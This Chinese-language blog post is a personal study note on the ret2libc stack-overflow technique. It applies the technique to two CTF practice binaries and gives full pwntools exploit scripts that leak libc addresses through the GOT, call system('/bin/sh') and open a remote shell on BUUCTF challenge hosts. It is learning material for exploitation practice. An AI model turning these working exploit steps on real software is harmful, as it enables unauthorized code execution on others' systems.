本文最后更新于 554 天前,其中的信息可能已经有所发展或是发生改变。
ret2libc 应该是栈溢出里面的一个难点了,在这点上也卡了很久,现在做个学习记录
ROPgadget --binary ./ciscn_2019_c_1可以查看文件拥有的gadget。
一般在溢出的时候都需要用到pop rdi;ret来控制puts从而控制输出,如果是系统版本大于等于ubuntu18的话还会需要用到ret来进行栈对齐。
获得本elf中的gadgets:
ROPgadget --binary ./ciscn_2019_c_1 --only "pop|ret"
ROPgadget --binary ./ciscn_2019_c_1 --only "ret"
构造泄露信息的payload:
当esp指向pop rdi;ret时,rip指向puts_got。
这意味着rip中的数据是puts_got所保留的put()函数内存地址。它将被利用作为下一步put()的参数。使得控制流被劫持,输出了put()函数在远端服务器的内存中的地址。
最后让程序流返回到开始以继续利用
payload1 = 'A'*(88) + p64(pop_rdi_addr) + p64(put_got) + p64(put_plt) + p64(main_addr)
由于本题未给定libc.so.6的版本,故使用第三方模块LibcSearcher。
根据函数调用过程构造payload:
payload2 = 'A'*(88) + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(sys_addr)
64位的程序,开了NX保护
很明显的gets函数,溢出点就是这里
from pwn import *
from LibcSearcher import *
content = 0
context.log_level = 'debug'
elf = ELF('./ciscn_2019_c_1')
# Ubuntu18 栈对齐
ret = 0x4006b9
# 获取puts函数在plt与got表中的地址
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
# 获取main函数的地址
main_addr = elf.symbols['main']
pop_rdi_ret = 0x400c83
def main():
if content == 1:
p = process('ciscn_2019_c_1')
else:
p = remote('node4.buuoj.cn',29067)
# 填满s需要0x50个字符,再加上覆盖r地址的8个字符
payload = b'a' * (0x50 + 8)
# 按顺序填入对应的地址,使得再次执行main函数
payload = payload + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.sendlineafter('Input your choice!\n', '1')
p.sendlineafter('Input your Plaintext to be encrypted\n', payload)
p.recvuntil('Ciphertext\n')
p.recvuntil("\n")
# 找出puts的地址
puts_addr = u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\x00'))
print(puts_addr)
libc = LibcSearcher('puts',puts_addr)
# 找出函数地址偏移量
libc_base = puts_addr - libc.dump('puts')
# 计算出system的在程序中的地址
system_addr = libc_base + libc.dump('system')
# 计算出binsh的在程序中的地址
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload2 = b'a' * (0x50 + 8)
payload2 = payload2 + p64(ret) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
p.sendlineafter('Input your choice!\n', '1')
p.sendlineafter('Input your Plaintext to be encrypted\n', payload2)
p.interactive()
main()
32位程序,只有NX保护
32位程序跟64位程序的区别就在于寄存器,32不需要寄存器来填充参数。
from LibcSearcher import *
from pwn import *
context.log_level = 'debug'
content = 0
elf = ELF('./level3')
write_got = elf.got['write']
write_plt = elf.plt['write']
main_addr = elf.sym['main']
def main():
if content == 1:
p = process('./level3')
else:
p = remote("node4.buuoj.cn", 27321)
payload = b'a' * (0x88 + 4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
p.recvuntil('Input:\n')
p.sendline(payload)
write_addr = u32(p.recv(4))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload = b'a' * (0x88 + 4) + p32(system_addr) + p32(0x10086110) + p32(binsh_addr)
p.recvuntil('Input:\n')
p.sendline(payload)
p.interactive()
main()
浏览量: 28